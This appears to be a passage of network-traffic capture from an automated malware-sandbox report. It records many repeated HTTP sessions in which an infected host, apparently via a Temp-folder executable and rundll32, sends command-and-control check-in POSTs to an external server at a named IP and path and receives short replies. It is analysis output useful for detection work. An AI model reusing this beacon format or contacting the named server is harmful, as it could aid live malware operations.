Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1205	176.111.174.114	80	192.168.2.5	50443	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1206	192.168.2.5	50444	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1207	176.111.174.114	80	192.168.2.5	50444	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1208	192.168.2.5	50446	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1209	176.111.174.114	80	192.168.2.5	50446	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	176.111.174.114	80	192.168.2.5	49778	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:41.885004997 CEST	1897	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1210	192.168.2.5	50447	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1211	176.111.174.114	80	192.168.2.5	50447	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1212	192.168.2.5	50448	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1213	176.111.174.114	80	192.168.2.5	50448	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1214	192.168.2.5	50449	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1215	192.168.2.5	50450	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1216	176.111.174.114	80	192.168.2.5	50449	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1217	192.168.2.5	50451	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1218	176.111.174.114	80	192.168.2.5	50450	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1219	176.111.174.114	80	192.168.2.5	50451	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	49779	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:42.087672949 CEST	1897	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1220	192.168.2.5	50453	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1221	176.111.174.114	80	192.168.2.5	50453	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1222	192.168.2.5	50454	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1223	176.111.174.114	80	192.168.2.5	50454	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1224	192.168.2.5	50455	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1225	176.111.174.114	80	192.168.2.5	50455	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1226	192.168.2.5	50457	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1227	176.111.174.114	80	192.168.2.5	50457	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1228	192.168.2.5	50458	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1229	176.111.174.114	80	192.168.2.5	50458	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	176.111.174.114	80	192.168.2.5	49779	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:42.190591097 CEST	1898	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1230	192.168.2.5	50459	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1231	176.111.174.114	80	192.168.2.5	50459	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1232	192.168.2.5	50460	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1233	176.111.174.114	80	192.168.2.5	50460	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1234	192.168.2.5	50461	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1235	192.168.2.5	50462	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1236	176.111.174.114	80	192.168.2.5	50462	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1237	192.168.2.5	50463	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1238	176.111.174.114	80	192.168.2.5	50461	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1239	176.111.174.114	80	192.168.2.5	50463	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	49780	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:42.409410000 CEST	1898	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1240	192.168.2.5	50465	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1241	176.111.174.114	80	192.168.2.5	50465	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1242	192.168.2.5	50466	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1243	176.111.174.114	80	192.168.2.5	50466	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1244	192.168.2.5	50467	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1245	176.111.174.114	80	192.168.2.5	50467	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1246	192.168.2.5	50469	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1247	176.111.174.114	80	192.168.2.5	50469	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1248	192.168.2.5	50470	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1249	176.111.174.114	80	192.168.2.5	50470	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	176.111.174.114	80	192.168.2.5	49780	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:42.516221046 CEST	1899	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1250	192.168.2.5	50471	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1251	176.111.174.114	80	192.168.2.5	50471	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1252	192.168.2.5	50472	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1253	176.111.174.114	80	192.168.2.5	50472	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1254	192.168.2.5	50473	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1255	192.168.2.5	50474	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1256	176.111.174.114	80	192.168.2.5	50474	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1257	176.111.174.114	80	192.168.2.5	50473	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1258	192.168.2.5	50475	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1259	176.111.174.114	80	192.168.2.5	50475	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49781	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:42.731199980 CEST	1899	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1260	192.168.2.5	50477	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1261	176.111.174.114	80	192.168.2.5	50477	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1262	192.168.2.5	50478	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1263	176.111.174.114	80	192.168.2.5	50478	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1264	192.168.2.5	50479	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1265	176.111.174.114	80	192.168.2.5	50479	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1266	192.168.2.5	50481	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1267	176.111.174.114	80	192.168.2.5	50481	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1268	192.168.2.5	50482	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1269	176.111.174.114	80	192.168.2.5	50482	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	176.111.174.114	80	192.168.2.5	49781	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:42.836169958 CEST	1900	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1270	192.168.2.5	50483	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1271	176.111.174.114	80	192.168.2.5	50483	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1272	192.168.2.5	50484	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1273	176.111.174.114	80	192.168.2.5	50484	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1274	192.168.2.5	50485	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1275	192.168.2.5	50486	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1276	176.111.174.114	80	192.168.2.5	50486	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1277	176.111.174.114	80	192.168.2.5	50485	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1278	192.168.2.5	50487	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1279	176.111.174.114	80	192.168.2.5	50487	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.5	49782	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:43.035079956 CEST	1900	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1280	192.168.2.5	50489	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1281	176.111.174.114	80	192.168.2.5	50489	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1282	192.168.2.5	50490	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1283	176.111.174.114	80	192.168.2.5	50490	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1284	192.168.2.5	50491	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1285	176.111.174.114	80	192.168.2.5	50491	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1286	192.168.2.5	50493	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1287	176.111.174.114	80	192.168.2.5	50493	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1288	192.168.2.5	50494	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1289	176.111.174.114	80	192.168.2.5	50494	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	176.111.174.114	80	192.168.2.5	49782	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:43.132977962 CEST	1901	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1290	192.168.2.5	50495	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1291	176.111.174.114	80	192.168.2.5	50495	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1292	192.168.2.5	50496	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1293	176.111.174.114	80	192.168.2.5	50496	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1294	192.168.2.5	50497	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1295	192.168.2.5	50498	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1296	176.111.174.114	80	192.168.2.5	50498	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1297	176.111.174.114	80	192.168.2.5	50497	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1298	192.168.2.5	50499	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1299	176.111.174.114	80	192.168.2.5	50499	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	176.111.174.114	80	192.168.2.5	49717	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:23.898601055 CEST	1569	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.5	49783	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:43.339297056 CEST	1901	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1300	192.168.2.5	50501	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1301	176.111.174.114	80	192.168.2.5	50501	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1302	192.168.2.5	50502	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1303	176.111.174.114	80	192.168.2.5	50502	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1304	192.168.2.5	50503	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1305	176.111.174.114	80	192.168.2.5	50503	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1306	192.168.2.5	50505	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1307	176.111.174.114	80	192.168.2.5	50505	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1308	192.168.2.5	50506	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1309	176.111.174.114	80	192.168.2.5	50506	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
